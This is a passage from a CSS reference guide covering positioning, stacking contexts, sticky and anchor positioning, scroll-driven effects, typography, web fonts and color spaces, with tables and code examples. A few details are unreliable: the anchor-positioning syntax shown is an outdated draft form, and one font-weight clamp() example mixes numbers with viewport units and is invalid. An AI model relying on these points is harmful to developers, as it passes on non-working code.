inset top right bottom left Shorthand for all 4 offsets inset: 0; = all edges at 0
inset-block-start length | % Logical top offset Writing mode aware
inset-block-end length | % Logical bottom offset Writing mode aware
inset-inline-start length | % Logical left offset Writing mode aware
inset-inline-end length | % Logical right offset Writing mode aware

Example: Position values comparison

/* Static (default) - normal flow */
.static {
    position: static;
    top: 20px;  /* Has no effect */
}

/* Relative - offset from normal position */
.relative {
    position: relative;
    top: 20px;   /* Moves down 20px from normal position */
    left: 10px;  /* Moves right 10px */
    /* Original space in layout is preserved */
}

/* Absolute - positioned relative to nearest positioned ancestor */
.absolute {
    position: absolute;
    top: 0;    /* Top of positioned parent */
    right: 0;  /* Right edge of positioned parent */
    /* Removed from document flow */
}

/* Fixed - positioned relative to viewport */
.fixed {
    position: fixed;
    bottom: 20px;  /* 20px from bottom of viewport */
    right: 20px;   /* 20px from right of viewport */
    /* Stays in place during scrolling */
}

/* Sticky - relative until scroll threshold */
.sticky {
    position: sticky;
    top: 0;  /* Sticks to top when scrolled to */
    /* In flow until sticky threshold is reached */
}

Example: Practical positioning patterns

/* Centered absolute positioning */
.centered {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
}

/* Full coverage overlay */
.overlay {
    position: fixed;
    inset: 0;  /* Shorthand for top: 0; right: 0; bottom: 0; left: 0; */
    /* Or: top: 0; right: 0; bottom: 0; left: 0; */
}

/* Sticky header with shadow on scroll */
.header {
    position: sticky;
    top: 0;
    z-index: 100;
    background: white;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

/* Absolute positioning with explicit container */
.container {
    position: relative;  /* Establishes positioning context */
}

.badge {
    position: absolute;
    top: -10px;
    right: -10px;
}
Note: An element is "positioned" if its position is anything other than static. Absolute and fixed positioned elements are removed from normal document flow.

6.2 Z-index and Stacking Context

Property Values Description Requirement
z-index integer | auto Stacking order within context Requires positioned element or flex/grid item
auto (default) z-index: auto; Same level as parent, no new context -
Positive z-index: 1; Above elements with lower or auto z-index Creates stacking context
Negative z-index: -1; Behind parent's background Creates stacking context
Zero z-index: 0; Same level, but creates context Creates stacking context
Stacking Context Created By Trigger Condition Common Use Case
Root element <html> Global stacking context
position + z-index position: relative/absolute/fixed/sticky + z-index: <integer> Positioned element layering
flex/grid item + z-index Flex/grid item with z-index: <integer> Flexbox/Grid item ordering
opacity < 1 opacity: 0.99; Transparent elements
transform transform: translateZ(0); 3D transforms, GPU acceleration
filter filter: blur(5px); Visual effects
mix-blend-mode mix-blend-mode: multiply; Blend modes
isolation isolation: isolate; Force new stacking context
will-change will-change: transform; Performance optimization hint
contain contain: layout; or contain: paint; Containment optimization

Example: Stacking context basics

/* Parent creates stacking context */
.parent {
    position: relative;
    z-index: 1;
}

/* Child cannot escape parent's context */
.child {
    position: absolute;
    z-index: 999999;  /* Only stacks within parent, not globally */
}

/* Sibling with higher z-index appears above entire parent */
.sibling {
    position: relative;
    z-index: 2;  /* Appears above parent and all its children */
}

/* Force new stacking context without positioning */
.isolated {
    isolation: isolate;  /* Creates context without other side effects */
}

/* Common pitfall - opacity creates context */
.modal-overlay {
    opacity: 0.95;  /* Creates stacking context! */
}

.modal-content {
    z-index: 1000;  /* Only applies within overlay context */
}

Example: Debugging stacking issues

/* Z-index scale for consistency */
:root {
    --z-base: 0;
    --z-dropdown: 100;
    --z-sticky: 200;
    --z-modal-overlay: 1000;
    --z-modal-content: 1001;
    --z-popover: 2000;
    --z-tooltip: 3000;
}

.dropdown { z-index: var(--z-dropdown); }
.modal-overlay { z-index: var(--z-modal-overlay); }
.modal-content { z-index: var(--z-modal-content); }

/* Identify stacking contexts in DevTools */
.debug-stacking-context {
    position: relative;
    z-index: 0;
    outline: 2px solid red;  /* Visual indicator */
}

/* Prevent accidental context creation */
.no-context {
    /* Avoid: opacity < 1, transform, filter, etc. */
    /* Use isolation: isolate when context is needed */
}
Warning: Child elements cannot escape parent's stacking context. If parent has z-index: 1, child with z-index: 9999 still appears behind sibling with z-index: 2.

6.3 Sticky Positioning Patterns

Pattern CSS Description Use Case
Sticky Header position: sticky; top: 0; Header sticks to top of viewport Navigation bars, table headers
Sticky Footer position: sticky; bottom: 0; Footer sticks to bottom of container Action buttons, status bars
Sticky Sidebar position: sticky; top: 20px; Sidebar sticks with offset from top Table of contents, filters
Stacked Sticky Multiple sticky elements with different top values Elements stack on top of each other Layered headers, tabs
Sticky Table Header thead th { position: sticky; top: 0; } Table header row stays visible Data tables, comparison tables
Horizontal Sticky position: sticky; left: 0; Column sticks to left during horizontal scroll First column in wide tables

Example: Sticky header with shadow on scroll

/* Basic sticky header */
.header {
    position: sticky;
    top: 0;
    background: white;
    z-index: 100;
}

/* Add shadow when stuck (requires JS or scroll-timeline) */
.header.is-stuck {
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
}

/* CSS-only shadow using pseudo-element */
.header {
    position: sticky;
    top: 0;
    background: white;
    z-index: 100;
}

.header::after {
    content: '';
    position: absolute;
    bottom: -8px;
    left: 0;
    right: 0;
    height: 8px;
    background: linear-gradient(to bottom, rgba(0,0,0,0.1), transparent);
    opacity: 0;
    transition: opacity 0.3s;
}

/* Stacked sticky sections */
.section-header {
    position: sticky;
    top: 60px;  /* Below main header */
    background: #f5f5f5;
    z-index: 90;
}

Example: Sticky table headers and columns

/* Sticky table header */
table {
    border-collapse: collapse;
}

thead th {
    position: sticky;
    top: 0;
    background: white;
    z-index: 2;
    box-shadow: 0 1px 0 #ddd;
}

/* Sticky first column */
tbody td:first-child,
thead th:first-child {
    position: sticky;
    left: 0;
    background: white;
    z-index: 1;
}

/* Corner cell needs highest z-index */
thead th:first-child {
    z-index: 3;  /* Above both sticky header and column */
}

/* Sticky sidebar */
.sidebar {
    position: sticky;
    top: 80px;  /* Below header */
    max-height: calc(100vh - 100px);
    overflow-y: auto;
}

/* Sticky footer CTA */
.cta-bar {
    position: sticky;
    bottom: 0;
    background: white;
    box-shadow: 0 -2px 8px rgba(0,0,0,0.1);
    padding: 1rem;
}
Note: Sticky positioning requires ancestor with scrollable overflow. Element sticks within its containing block. Use z-index to control stacking of multiple sticky elements.

6.4 CSS Anchor Positioning (CSS4) NEW EXPERIMENTAL

Property Syntax Description Use Case
anchor-name anchor-name: --my-anchor; Names element as anchor point Define anchor for tooltip/popover
position-anchor position-anchor: --my-anchor; Links positioned element to anchor Attach tooltip to button
anchor() top: anchor(bottom); Positions relative to anchor edge Place below anchor element
anchor-default anchor-default: --fallback; Fallback anchor if primary unavailable Graceful degradation
Anchor Sides top | right | bottom | left | start | end | center Edge or position to reference Flexible positioning
position-fallback @position-fallback Alternative positions if out of viewport Smart tooltip positioning

Example: Basic anchor positioning

/* Define anchor element */
.button {
    anchor-name: --my-button;
}

/* Position tooltip relative to anchor */
.tooltip {
    position: absolute;
    position-anchor: --my-button;
    
    /* Position below button */
    top: anchor(bottom);
    left: anchor(center);
    transform: translateX(-50%);
    
    /* Or position above */
    /* bottom: anchor(top); */
}

/* With offset */
.popover {
    position: absolute;
    position-anchor: --trigger;
    top: calc(anchor(bottom) + 8px);  /* 8px gap */
    left: anchor(left);
}

/* Anchor to specific side */
.menu {
    position: absolute;
    position-anchor: --menu-button;
    top: anchor(top);
    left: anchor(right, 10px);  /* 10px from right edge */
}

Example: Position fallback for viewport boundaries

/* Define fallback positions */
@position-fallback --tooltip-fallback {
    /* Try: below, centered */
    @try {
        top: anchor(bottom);
        left: anchor(center);
        transform: translateX(-50%);
    }
    
    /* If overflow, try: above, centered */
    @try {
        bottom: anchor(top);
        left: anchor(center);
        transform: translateX(-50%);
    }
    
    /* If still overflow, try: right side */
    @try {
        top: anchor(center);
        left: anchor(right);
        transform: translateY(-50%);
    }
    
    /* Last resort: left side */
    @try {
        top: anchor(center);
        right: anchor(left);
        transform: translateY(-50%);
    }
}

.tooltip {
    position: absolute;
    position-anchor: --button;
    position-fallback: --tooltip-fallback;
}
Note: CSS Anchor Positioning is experimental (Chrome 125+ behind flag). Provides native solution for tooltips, popovers, and dropdowns without JavaScript. Browser support: Chrome 125+ (flag)

6.5 Scroll-driven Positioning Techniques

Technique Implementation Description Browser Support
Sticky Positioning position: sticky; CSS-native scroll-triggered positioning All modern browsers
Scroll Snap scroll-snap-type Snap to positions during scroll All modern browsers
Scroll Timeline animation-timeline: scroll() Animate based on scroll progress Chrome 115+, Edge 115+
View Timeline animation-timeline: view() Animate based on element visibility Chrome 115+, Edge 115+
IntersectionObserver JavaScript API Detect element visibility changes All modern browsers
ScrollTrigger (GSAP) Third-party library Advanced scroll-based animations Library-dependent

Example: Scroll-driven animations

/* Scroll-linked animation (CSS Scroll-driven Animations) */
@keyframes fade-in {
    from { opacity: 0; transform: translateY(50px); }
    to { opacity: 1; transform: translateY(0); }
}

.scroll-reveal {
    animation: fade-in linear;
    animation-timeline: view();  /* Animates as element enters view */
    animation-range: entry 0% entry 100%;  /* Start/end within entry range */
}

/* Parallax with scroll timeline */
@keyframes parallax {
    to { transform: translateY(-100px); }
}

.parallax-bg {
    animation: parallax linear;
    animation-timeline: scroll();  /* Linked to scroll position */
}

/* Progress bar based on scroll */
.progress-bar {
    position: fixed;
    top: 0;
    left: 0;
    height: 4px;
    background: blue;
    transform-origin: left;
    animation: grow linear;
    animation-timeline: scroll();
}

@keyframes grow {
    from { transform: scaleX(0); }
    to { transform: scaleX(1); }
}

Example: Scroll snap positioning

/* Vertical scroll snap */
.scroll-container {
    scroll-snap-type: y mandatory;  /* Vertical snapping required */
    overflow-y: scroll;
    height: 100vh;
}

.scroll-section {
    scroll-snap-align: start;  /* Snap to top of section */
    scroll-snap-stop: always;  /* Force stop at each section */
    height: 100vh;
}

/* Horizontal scroll snap (carousel) */
.carousel {
    display: flex;
    overflow-x: scroll;
    scroll-snap-type: x mandatory;
    gap: 1rem;
}

.carousel-item {
    flex: 0 0 300px;
    scroll-snap-align: center;  /* Center each item */
}

/* Scroll padding for sticky headers */
html {
    scroll-padding-top: 80px;  /* Offset for sticky header */
}

/* Smooth scroll */
html {
    scroll-behavior: smooth;
}

Example: Position fixed with scroll context

/* Fixed positioning that respects scroll container */
.scroll-container {
    overflow: auto;
    height: 100vh;
}

/* Fixed within scroll container (not viewport) */
.fixed-in-container {
    position: sticky;  /* Use sticky instead of fixed */
    top: 0;
    z-index: 10;
}

/* Fade header on scroll (with JS toggle) */
.header {
    position: fixed;
    top: 0;
    width: 100%;
    transition: transform 0.3s, box-shadow 0.3s;
}

.header.scrolled {
    transform: translateY(0);
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.header.hidden {
    transform: translateY(-100%);
}

/* Parallax sections with different speeds */
.parallax-slow {
    animation: parallax linear;
    animation-timeline: scroll();
}

@keyframes parallax {
    to { transform: translateY(calc(-100vh * 0.3)); }
}

Positioning Best Practices

  • Use relative positioning to establish context for absolute children
  • Use sticky positioning for headers/navigation without JavaScript
  • Define z-index scale as CSS variables for consistency
  • Use inset: 0; shorthand for full coverage positioning
  • Avoid creating accidental stacking contexts (opacity, transform, filter)
  • Use isolation: isolate to explicitly create stacking contexts
  • Test sticky positioning with sufficient scrollable area
  • Use logical properties (inset-block, inset-inline) for internationalization
  • Combine position: fixed with transform carefully (creates new containing block)

7. Typography and Text Styling

7.1 Font Properties and Web Font Loading

Property Values Description Default
font-family family-name | generic-family Font family stack (fallback chain) Browser default
font-size length | % Font size (absolute or relative) medium (16px)
font-weight 100-900 | normal | bold | lighter | bolder Font weight (thickness) 400 (normal)
font-style normal | italic | oblique [angle] Font style normal
font-variant normal | small-caps | all-small-caps Font variant (caps, ligatures, numerals) normal
font-stretch 50%-200% | ultra-condensed to ultra-expanded Font width (condensed/expanded) 100% (normal)
font style variant weight size/line-height family Shorthand for all font properties -
font-synthesis none | weight | style | small-caps Control browser font synthesis weight style
font-size-adjust number | none Preserve x-height across fallback fonts none
font-kerning auto | normal | none Control kerning (letter spacing pairs) auto
font-optical-sizing auto | none Optimize font rendering at different sizes auto
@font-face Descriptor Values Description Required
font-family name Name to reference font ✓ Yes
src url() format() Font file URL and format ✓ Yes
font-weight 100-900 | range Weight(s) this file supports Optional
font-style normal | italic | oblique Style this file supports Optional
font-display auto | block | swap | fallback | optional Loading behavior strategy Optional
unicode-range U+0-10FFFF Character range this font covers Optional
font-stretch 50%-200% Width range this file supports Optional

Example: Font family and @font-face

/* Font stack with fallbacks */
body {
    font-family: 
        "Inter", 
        -apple-system, 
        BlinkMacSystemFont, 
        "Segoe UI", 
        Roboto, 
        sans-serif;
}

/* Load custom web font */
@font-face {
    font-family: "Inter";
    src: url("/fonts/inter-var.woff2") format("woff2");
    font-weight: 100 900;  /* Variable font weight range */
    font-style: normal;
    font-display: swap;  /* Show fallback immediately */
}

/* Load specific font weight */
@font-face {
    font-family: "Roboto";
    src: url("/fonts/roboto-regular.woff2") format("woff2");
    font-weight: 400;
    font-style: normal;
}

@font-face {
    font-family: "Roboto";
    src: url("/fonts/roboto-bold.woff2") format("woff2");
    font-weight: 700;
    font-style: normal;
}

/* Unicode range for subsetting */
@font-face {
    font-family: "Icons";
    src: url("/fonts/icons.woff2") format("woff2");
    unicode-range: U+E000-U+F8FF;  /* Private Use Area */
}

Example: Font properties usage

/* Font shorthand */
h1 {
    /* font: style variant weight size/line-height family */
    font: italic small-caps 700 2rem/1.2 Georgia, serif;
}

/* Individual properties */
p {
    font-family: "Inter", sans-serif;
    font-size: 1rem;
    font-weight: 400;
    font-style: normal;
}

/* Variable font weights */
.light { font-weight: 300; }
.regular { font-weight: 400; }
.medium { font-weight: 500; }
.semibold { font-weight: 600; }
.bold { font-weight: 700; }

/* Font size adjustment for consistent x-height */
body {
    font-family: "Primary", "Fallback", sans-serif;
    font-size-adjust: 0.5;  /* Preserves x-height across fonts */
}

/* Disable synthetic bold/italic */
.no-synthesis {
    font-synthesis: none;  /* Don't fake bold/italic if not available */
}

7.2 Font Display Strategies and Performance

font-display Block Period Swap Period Behavior Use Case
auto Browser default Browser default Browser decides strategy Default (not recommended)
block ~3 seconds Infinite Block, then swap when loaded Icons, critical branding
swap ~0ms Infinite Show fallback immediately, swap when loaded Body text, most common
fallback ~100ms ~3 seconds Brief block, short swap period Balance performance/appearance
optional ~100ms None Use if cached, otherwise fallback Non-critical, fast-loading priority
Loading Issue Problem Solution Implementation
FOIT Flash of Invisible Text Use font-display: swap @font-face { font-display: swap; }
FOUT Flash of Unstyled Text Match fallback font metrics font-size-adjust: 0.5;
Layout Shift Content jumps when font loads Size-adjust descriptor, preload size-adjust: 95%;
Slow Loading Fonts take long to download Preload critical fonts <link rel="preload">
Multiple Requests Too many font files Use variable fonts Single file with weight range

Example: Font display strategies

/* Recommended: swap for body text */
@font-face {
    font-family: "Body";
    src: url("/fonts/body.woff2") format("woff2");
    font-display: swap;  /* Show fallback immediately */
}

/* Block for icons (prevent invisible icons) */
@font-face {
    font-family: "Icons";
    src: url("/fonts/icons.woff2") format("woff2");
    font-display: block;  /* Wait for icons to load */
}

/* Optional for non-critical decorative fonts */
@font-face {
    font-family: "Decorative";
    src: url("/fonts/decorative.woff2") format("woff2");
    font-display: optional;  /* Only use if already cached */
}

/* Fallback for balance */
@font-face {
    font-family: "Headings";
    src: url("/fonts/headings.woff2") format("woff2");
    font-display: fallback;  /* Brief wait, short swap */
}

Example: Optimize font loading

<!-- Preload critical fonts -->
<link rel="preload" 
      href="/fonts/inter-var.woff2" 
      as="font" 
      type="font/woff2" 
      crossorigin>

<!-- Font display CSS -->
<style>
/* Match fallback font metrics to reduce layout shift */
@font-face {
    font-family: "Inter";
    src: url("/fonts/inter-var.woff2") format("woff2");
    font-weight: 100 900;
    font-display: swap;
    /* Adjust fallback font size */
    size-adjust: 100%;
    ascent-override: 90%;
    descent-override: 22%;
    line-gap-override: 0%;
}

body {
    font-family: "Inter", 
                 -apple-system, 
                 BlinkMacSystemFont, 
                 sans-serif;
    /* Preserve x-height when fallback is shown */
    font-size-adjust: 0.5;
}

/* Loading class for progressive enhancement */
.fonts-loading body {
    font-family: -apple-system, BlinkMacSystemFont, sans-serif;
}
</style>
Note: font-display: swap is recommended for most cases to prevent FOIT. Preload critical fonts with <link rel="preload">. Use size-adjust descriptor to minimize layout shift.

7.3 Variable Fonts and Font Variations

Property Values Description Advantage
font-variation-settings "axis" value Low-level control of variable font axes Access custom axes
font-weight 100-900 Weight axis (high-level) Any value in range
font-stretch 50%-200% Width axis (high-level) Smooth transitions
font-style oblique [angle] Slant axis (high-level) Custom italic angles
font-optical-sizing auto | none Optical size axis (opsz) Size-specific optimization
Standard Axis Code Range Description
Weight wght 1-1000 Thickness of strokes
Width wdth 50-200 Condensed to expanded
Slant slnt -90 to 90 Angle of slant (oblique)
Optical Size opsz 6-72+ Optimize for font size
Italic ital 0-1 Roman to italic (binary)

Example: Variable font usage

/* Load variable font */
@font-face {
    font-family: "Inter";
    src: url("/fonts/inter-var.woff2") format("woff2");
    font-weight: 100 900;  /* Supports full weight range */
    font-stretch: 50% 200%;  /* Supports width range */
    font-style: oblique 0deg 10deg;  /* Supports slant range */
}

/* Use high-level properties (preferred) */
h1 {
    font-family: "Inter", sans-serif;
    font-weight: 350;  /* Any value 100-900 */
    font-stretch: 115%;  /* Slightly expanded */
}

h2 {
    font-weight: 650;  /* Custom weight between 600-700 */
}

/* Use font-variation-settings for custom axes */
.custom {
    font-variation-settings: 
        "wght" 450,  /* Weight */
        "wdth" 100,  /* Width */
        "slnt" -5,   /* Slant */
        "GRAD" 50;   /* Custom axis (Grade) */
}

/* Animate weight on hover */
.button {
    font-weight: 400;
    transition: font-weight 0.3s;
}

.button:hover {
    font-weight: 600;  /* Smooth weight transition */
}

Example: Advanced variable font techniques

/* Responsive typography with variable fonts */
h1 {
    font-family: "Recursive", sans-serif;
    /* Lighter weight at larger sizes */
    font-weight: clamp(300, 900 - 20vw, 700);
    /* More condensed at smaller viewports */
    font-stretch: clamp(75%, 50% + 10vw, 125%);
}

/* Optical sizing (automatic) */
.auto-optical {
    font-optical-sizing: auto;  /* Adjusts opsz based on font-size */
}

/* Manual optical sizing */
.manual-optical {
    font-variation-settings: "opsz" 12;  /* Optimized for 12px */
    font-size: 12px;
}

/* Custom axes (font-specific) */
.roboto-flex {
    font-family: "Roboto Flex", sans-serif;
    font-variation-settings:
        "GRAD" 0,    /* Grade (stroke contrast) */
        "slnt" -10,  /* Slant */
        "XTRA" 468,  /* X-transparent */
        "XOPQ" 96,   /* X-opaque */
        "YOPQ" 79,   /* Y-opaque */
        "YTLC" 514,  /* Y-transparent lowercase */
        "YTUC" 712,  /* Y-transparent uppercase */
        "YTAS" 750,  /* Y-transparent ascender */
        "YTDE" -203, /* Y-transparent descender */
        "YTFI" 738;  /* Y-transparent figure height */
}
Note: Variable fonts reduce HTTP requests (single file for multiple weights/widths). Use high-level properties (font-weight, font-stretch) instead of font-variation-settings when possible for better browser support.

7.4 Text Layout and Spacing Controls

Property Values Description Default
line-height number | length | % Vertical spacing between lines normal (~1.2)
letter-spacing normal | length Horizontal space between characters normal
word-spacing normal | length Space between words normal
text-indent length | % First line indentation 0
text-align left | right | center | justify | start | end Horizontal text alignment start
text-align-last auto | left | right | center | justify Alignment of last line auto
vertical-align baseline | top | middle | bottom | length | % Vertical alignment in inline context baseline
white-space normal | nowrap | pre | pre-wrap | pre-line Whitespace and line break handling normal
tab-size number | length Width of tab character 8
word-break normal | break-all | keep-all | break-word Line breaking rules for words normal
overflow-wrap normal | anywhere | break-word Break long words to prevent overflow normal
hyphens none | manual | auto Hyphenation for line breaks manual
text-transform none | uppercase | lowercase | capitalize Text case transformation none
text-decoration line | style | color | thickness Underline, overline, line-through none

Example: Text spacing and layout

/* Optimal body text readability */
body {
    font-size: 1rem;
    line-height: 1.6;  /* Unitless preferred (relative to font-size) */
    letter-spacing: 0.01em;  /* Slight tracking */
}

/* Headings with tighter spacing */
h1 {
    font-size: 3rem;
    line-height: 1.2;  /* Tighter for large text */
    letter-spacing: -0.02em;  /* Negative tracking for large sizes */
}

/* Paragraph first-line indent */
p + p {
    text-indent: 2em;
}

/* Justified text with hyphenation */
.justified {
    text-align: justify;
    hyphens: auto;  /* Requires lang attribute */
    text-justify: inter-word;
}

/* Prevent text wrapping */
.nowrap {
    white-space: nowrap;
}

/* Break long URLs */
.url {
    word-break: break-all;
    overflow-wrap: break-word;
}

Example: White-space control

/* white-space values comparison */
.normal {
    white-space: normal;  /* Collapse spaces, wrap lines */
}

.nowrap {
    white-space: nowrap;  /* Collapse spaces, no wrap */
}

.pre {
    white-space: pre;  /* Preserve spaces, no wrap */
}

.pre-wrap {
    white-space: pre-wrap;  /* Preserve spaces, wrap lines */
}

.pre-line {
    white-space: pre-line;  /* Collapse spaces, preserve line breaks */
}

/* Code block formatting */
pre code {
    white-space: pre;
    tab-size: 4;  /* Tab width: 4 spaces */
}

/* Text overflow with ellipsis */
.truncate {
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis;
}

7.5 Advanced Typography (text-wrap, text-spacing) NEW

Property Values Description Browser Support
text-wrap wrap | nowrap | balance | pretty Advanced text wrapping modes Chrome 114+, Safari 17.5+
balance text-wrap: balance; Balanced line lengths (headings) Chrome 114+
pretty text-wrap: pretty; Avoid orphans/widows (paragraphs) Chrome 117+
hanging-punctuation none | first | last | force-end | allow-end Hang punctuation outside text box Safari only
text-spacing-trim normal | space-all | trim-start CJK punctuation spacing Experimental
text-autospace normal | no-autospace Spacing between CJK and Latin Experimental

Example: Text-wrap balance and pretty

/* Balanced headings (prevents single word on last line) */
h1, h2, h3 {
    text-wrap: balance;  /* Max 4 lines for performance */
    max-inline-size: 40ch;  /* Limit width for readability */
}

/* Pretty paragraphs (prevents orphans/widows) */
p {
    text-wrap: pretty;  /* Avoid single word on last line */
}

/* Traditional approach (still works) */
.traditional {
    text-align: justify;
    hyphens: auto;
    orphans: 3;  /* Min lines at bottom of page */
    widows: 3;   /* Min lines at top of next page */
}

/* Hanging punctuation (Safari) */
blockquote {
    hanging-punctuation: first last;  /* Hang quotes outside */
}

/* Combined for optimal typography */
article p {
    max-inline-size: 65ch;  /* Optimal reading width */
    text-wrap: pretty;
    hyphens: auto;
    hanging-punctuation: first last;
}

Example: Advanced text control

/* Multi-line truncation with balanced text */
.card-title {
    display: -webkit-box;
    -webkit-line-clamp: 3;
    -webkit-box-orient: vertical;
    overflow: hidden;
    text-wrap: balance;  /* Balance truncated text */
}

/* Optimal heading layout */
.heading {
    /* Limit width for readability */
    max-inline-size: 30ch;
    /* Balance line lengths */
    text-wrap: balance;
    /* Tighter line height */
    line-height: 1.1;
    /* Negative tracking for large text */
    letter-spacing: -0.02em;
    /* Hang punctuation outside */
    hanging-punctuation: first last;
}

/* Body text optimization */
.body-text {
    max-inline-size: 65ch;
    text-wrap: pretty;  /* Avoid orphans */
    line-height: 1.6;
    hyphens: auto;
}

/* Preserve manual line breaks */
.poem {
    white-space: pre-line;  /* Preserve breaks, wrap long lines */
    text-wrap: balance;
}
Note: text-wrap: balance works best for headings (≤4 lines). text-wrap: pretty optimizes paragraphs to avoid orphans/widows. Limited browser support currently.

7.6 International Typography Support

Property Values Description Use Case
writing-mode horizontal-tb | vertical-rl | vertical-lr Text flow direction (horizontal/vertical) CJK vertical text, Mongolian
text-orientation mixed | upright | sideways Character orientation in vertical text CJK vertical layout
direction ltr | rtl Text direction (left-to-right or right-to-left) Arabic, Hebrew
unicode-bidi normal | embed | isolate | bidi-override Bidirectional text algorithm control Mixed LTR/RTL content
text-combine-upright none | all | digits [n] Combine characters in vertical text (tate-chu-yoko) Japanese vertical numbers
font-language-override normal | string Override language-specific glyphs Use specific OpenType features
lang attribute lang="en" lang="ar" lang="ja" HTML language declaration Required for hyphenation, fonts

Example: Writing modes and text orientation

/* Vertical text (Japanese, Chinese, Korean) */
.vertical-text {
    writing-mode: vertical-rl;  /* Right-to-left vertical */
    text-orientation: mixed;  /* Rotate Latin chars, upright CJK */
}

.vertical-text-lr {
    writing-mode: vertical-lr;  /* Left-to-right vertical (Mongolian) */
}

/* All characters upright in vertical mode */
.upright {
    writing-mode: vertical-rl;
    text-orientation: upright;
}

/* Combine numbers in vertical text (tate-chu-yoko) */
.vertical-numbers {
    writing-mode: vertical-rl;
}

.number {
    text-combine-upright: all;  /* Horizontal numbers in vertical text */
}

/* Horizontal text (default) */
.horizontal {
    writing-mode: horizontal-tb;  /* Top-to-bottom horizontal */
}

Example: RTL and bidirectional text

<!-- HTML lang attribute for proper text handling -->
<html lang="ar" dir="rtl">  <!-- Arabic, right-to-left -->

/* RTL layout */
body {
    direction: rtl;  /* Right-to-left text flow */
    text-align: start;  /* Aligns right in RTL */
}

/* LTR content within RTL page */
.ltr-content {
    direction: ltr;
    unicode-bidi: embed;  /* Isolate from parent direction */
}

/* Bidirectional override (force direction) */
.force-ltr {
    unicode-bidi: bidi-override;
    direction: ltr;
}

/* Isolate mixed content */
.isolated {
    unicode-bidi: isolate;  /* Prevent direction contamination */
}

/* Logical properties work with writing modes */
.international {
    /* Instead of: margin-left, margin-right */
    margin-inline-start: 1rem;  /* Adapts to LTR/RTL */
    margin-inline-end: 1rem;
    
    /* Instead of: margin-top, margin-bottom */
    margin-block-start: 1rem;  /* Adapts to writing mode */
    margin-block-end: 1rem;
}

Example: Language-specific typography

/* Language-specific font stacks */
:lang(en) {
    font-family: "Inter", -apple-system, sans-serif;
}

:lang(ja) {
    font-family: "Noto Sans JP", "Yu Gothic", "Hiragino Sans", sans-serif;
}

:lang(zh) {
    font-family: "Noto Sans SC", "PingFang SC", "Microsoft YaHei", sans-serif;
}

:lang(ar) {
    font-family: "Noto Sans Arabic", "Arial", sans-serif;
    direction: rtl;
}

:lang(ko) {
    font-family: "Noto Sans KR", "Malgun Gothic", sans-serif;
}

/* Auto hyphenation requires lang attribute */
p {
    hyphens: auto;  /* Only works with proper lang attribute */
}

/* OpenType features for specific languages */
.turkish {
    font-language-override: "TRK";  /* Use Turkish-specific glyphs */
}

/* CJK punctuation adjustment */
:lang(ja), :lang(zh) {
    text-spacing-trim: space-all;  /* Trim CJK punctuation spacing */
}

Typography Best Practices

  • Use unitless line-height (1.6) for scalability
  • Set font-display: swap to prevent invisible text (FOIT)
  • Preload critical fonts with <link rel="preload">
  • Use variable fonts to reduce HTTP requests
  • Limit text width to 60-75 characters (45-75ch) for readability
  • Use text-wrap: balance for headings to avoid orphans
  • Add hyphens: auto with proper lang attribute
  • Use logical properties for international layouts
  • Match fallback font metrics with font-size-adjust to reduce layout shift
  • Use system font stacks for performance: -apple-system, BlinkMacSystemFont, "Segoe UI"

8. Colors, Backgrounds, and Visual Effects

8.1 Modern Color Spaces and Wide Gamut

Color Space Syntax Gamut Description
RGB rgb(255 0 0) sRGB Standard RGB, comma-optional syntax
HSL hsl(0 100% 50%) sRGB Hue, Saturation, Lightness
HWB hwb(0 0% 0%) sRGB Hue, Whiteness, Blackness
LAB lab(50% -50 50) Wide gamut Lightness, A-axis (green-red), B-axis (blue-yellow)
LCH lch(50% 50 180) Wide gamut Lightness, Chroma, Hue (polar LAB)
OKLab oklab(0.5 -0.1 0.1) Wide gamut Perceptually uniform LAB variant
OKLCH oklch(0.5 0.14 180) Wide gamut Perceptually uniform LCH variant
Display P3 color(display-p3 1 0 0) P3 (wider) Apple/modern displays, 25% more colors than sRGB
Rec2020 color(rec2020 1 0 0) Rec.2020 HDR/UHD TV standard, wider than P3
Alpha Channel Syntax Description Example
RGB Alpha rgb(255 0 0 / 0.5) RGB with alpha (0-1 or 0%-100%) 50% transparent red
HSL Alpha hsl(0 100% 50% / 0.5) HSL with alpha 50% transparent red
LAB Alpha lab(50% -50 50 / 0.5) LAB with alpha 50% transparent color
Legacy rgba() rgba(255, 0, 0, 0.5) Older syntax with commas (still works) 50% transparent red

Example: Modern color syntax

/* Modern space-separated syntax (no commas) */
.red {
    background: rgb(255 0 0);
    background: hsl(0 100% 50%);
    background: hwb(0 0% 0%);
}

/* Alpha channel with slash */
.transparent-red {
    background: rgb(255 0 0 / 0.5);
    background: hsl(0 100% 50% / 50%);
}

/* Wide gamut colors (modern displays) */
.vibrant-red {
    /* sRGB fallback */
    background: rgb(255 0 0);
    /* P3 for modern displays (25% wider gamut) */
    background: color(display-p3 1 0 0);
}

/* Perceptually uniform colors (OKLCH) */
.oklch-color {
    /* Best for consistent lightness across hues */
    background: oklch(0.7 0.2 180);  /* L=70%, C=0.2, H=180deg */
}

/* LAB for consistent lightness */
.lab-color {
    background: lab(70% -50 50);  /* L=70%, a=-50, b=50 */
}

Example: Color space comparison

/* HSL - intuitive but not perceptually uniform */
.hsl-gradient {
    /* Lightness 50% but appears different across hues */
    background: linear-gradient(
        to right,
        hsl(0 100% 50%),    /* Red looks darker */
        hsl(120 100% 50%),  /* Green looks lighter */
        hsl(240 100% 50%)   /* Blue looks darker */
    );
}

/* OKLCH - perceptually uniform lightness */
.oklch-gradient {
    /* Consistent perceived brightness at L=0.7 */
    background: linear-gradient(
        to right,
        oklch(0.7 0.25 0),     /* Red */
        oklch(0.7 0.25 120),   /* Green */
        oklch(0.7 0.25 240)    /* Blue */
    );
}

/* P3 for vibrant colors on modern displays */
@supports (color: color(display-p3 1 0 0)) {
    .vibrant {
        background: color(display-p3 1 0.2 0.5);
    }
}

/* Fallback pattern */
.color-with-fallback {
    background: rgb(255 0 0);  /* sRGB fallback */
    background: oklch(0.6 0.3 20);  /* Modern color space */
}
Note: OKLCH is recommended for perceptually uniform colors. Display P3 provides 25% more colors than sRGB on modern displays. Browser support: Chrome 111+, Safari 15+, Firefox 113+

8.2 CSS Color Functions and Manipulation

Function Syntax Description Use Case
color-mix() color-mix(in space, color1 amount, color2) Mix two colors in specified color space Blend colors, tints, shades
